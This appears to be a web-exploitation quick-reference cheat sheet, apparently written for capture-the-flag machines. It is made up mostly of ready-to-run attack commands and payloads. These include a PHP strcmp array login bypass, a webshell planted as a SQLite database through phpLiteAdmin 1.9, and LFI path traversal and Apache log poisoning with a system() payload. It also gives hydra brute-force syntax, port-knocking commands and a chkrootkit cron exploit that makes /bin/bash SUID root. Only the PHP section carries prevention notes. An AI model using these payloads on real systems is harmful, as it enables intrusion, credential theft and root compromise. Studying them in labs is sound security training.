Web Exploitation — Quick Reference
PHP Type Confusion (auth bypass)
strcmp($input, $secret) == 0 fails open when $input is an array → strcmp() returns NULL, NULL == 0 is true.
curl -X POST http://target/login.php -d "username=admin&password[]="
- Works for
strcmp(),strcasecmp(), and any loose==comparison with a function returningNULLon type mismatch. - Detection: submit
password[]=and watch for a redirect / different page size. - Prevention:
hash_equals()or strict===with a string cast(string)$_POST['password'].
phpLiteAdmin 1.9 — RCE (plant a PHP webshell as a SQLite DB)
phpLiteAdmin lets you create a database; the DB file is created in its data directory (often /var/tmp, check the Path to database on the main page). Name it *.php and embed PHP in a column default value:
- Login (default creds are often
admin/admin; otherwise hydra the single password field). - Create DB
shell.php→ file lands at<data_dir>/shell.php. - SQL tab — submit button is named
query, textarea isqueryval, delimiter;:
sql CREATE TABLE 'test' ('payload' TEXT default '<?php echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; ?>') - If the data dir is web-accessible → hit
/db/shell.php?cmd=iddirectly. - If not (e.g.
/var/tmp) → combine with any LFI on the same host to include the file and execute the payload.
Pitfalls:
- phpLiteAdmin form fields: new_dbname (create), queryval+delimiter+query (SQL tab submit) — the page just reloads if you miss the submit field name.
- HTTP 200 + no result usually means the SQL didn't run (wrong field names), not a failed query.
LFI → RCE techniques
# classic traversal (keep the path SHORT — some apps reject long paths)
?notes=/ninevehNotes/../etc/passwd
?page=../../../../../../etc/passwd
# 1. SQLite webshell (above) — most reliable when phpLiteAdmin/DB-write exists
# 2. Log poisoning — inject PHP via User-Agent into access.log, then include it
curl -A '<?php system($_GET["c"]); ?>' http://target/x.php
?notes=../../../../../var/log/apache2/access.log&c=id
# ⚠ logs are often root:adm 640 → www-data CANNOT read them → "failed to open"
# 3. /proc/self/environ — only when CGI/FastCGI puts request vars in env
hydra — HTTP/HTTPS login forms (correct syntax)
The gotcha: do NOT put http:///https:// in front of the IP when using the form modules — hydra fails with Invalid target definition! (it tries to parse the URL as a hostname).
# HTTP form
hydra 10.10.10.1 -l admin -P pass.txt -f http-post-form \
"/login.php:user=^USER^&pass=^PASS^:Invalid credentials"
# HTTPS form (module implies SSL + port 443)
hydra 10.10.10.1 -l admin -P pass.txt -f https-post-form \
"/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect"
# the fail string must appear ONLY on failure pages
# -f = stop on first valid pair
Port knocking (knockd)
# read config from an early shell: /etc/knockd.conf
# [openSSH] sequence = 571, 290, 911 (seq_timeout 5s, tcpflags syn)
# knock with nc (no knockd client needed)
for p in 571 290 911; do nc -z -w1 TARGET $p; sleep 0.3; done
# or with the knock tool
knock TARGET 571 290 911
nc -zv TARGET 22 # now open
Steganography quick hits
strings -n 6 file.png | grep -iE "ssh|BEGIN|zip|secret" # filenames reveal archives
binwalk file.png # appended data
steghide extract -sf file.jpg -p "" # jpeg steg
# PNG with tar/zip appended right after IEND — carve with Python (binwalk may miss it):
python3 -c "
import tarfile, io
data = open('file.png','rb').read()
i = data.find(b'IEND')
t = tarfile.open(fileobj=io.BytesIO(data[i+8:]))
t.extractall('.')
"
steghide false alarm: it always prompts for a passphrase and answers could not extract any data with that passphrase! even on clean files — compare against a known-clean control image before assuming there is hidden data.
Cron privesc — chkrootkit (CVE-2014-0476)
chkrootkit < 0.50 running as root via cron executes /tmp/update during its slapper check:
echo -e '#!/bin/sh\nchmod 4755 /bin/bash' > /tmp/update
chmod 755 /tmp/update
sleep 60; ls -la /bin/bash # → -rwsr-xr-x
/bin/bash -p # root shell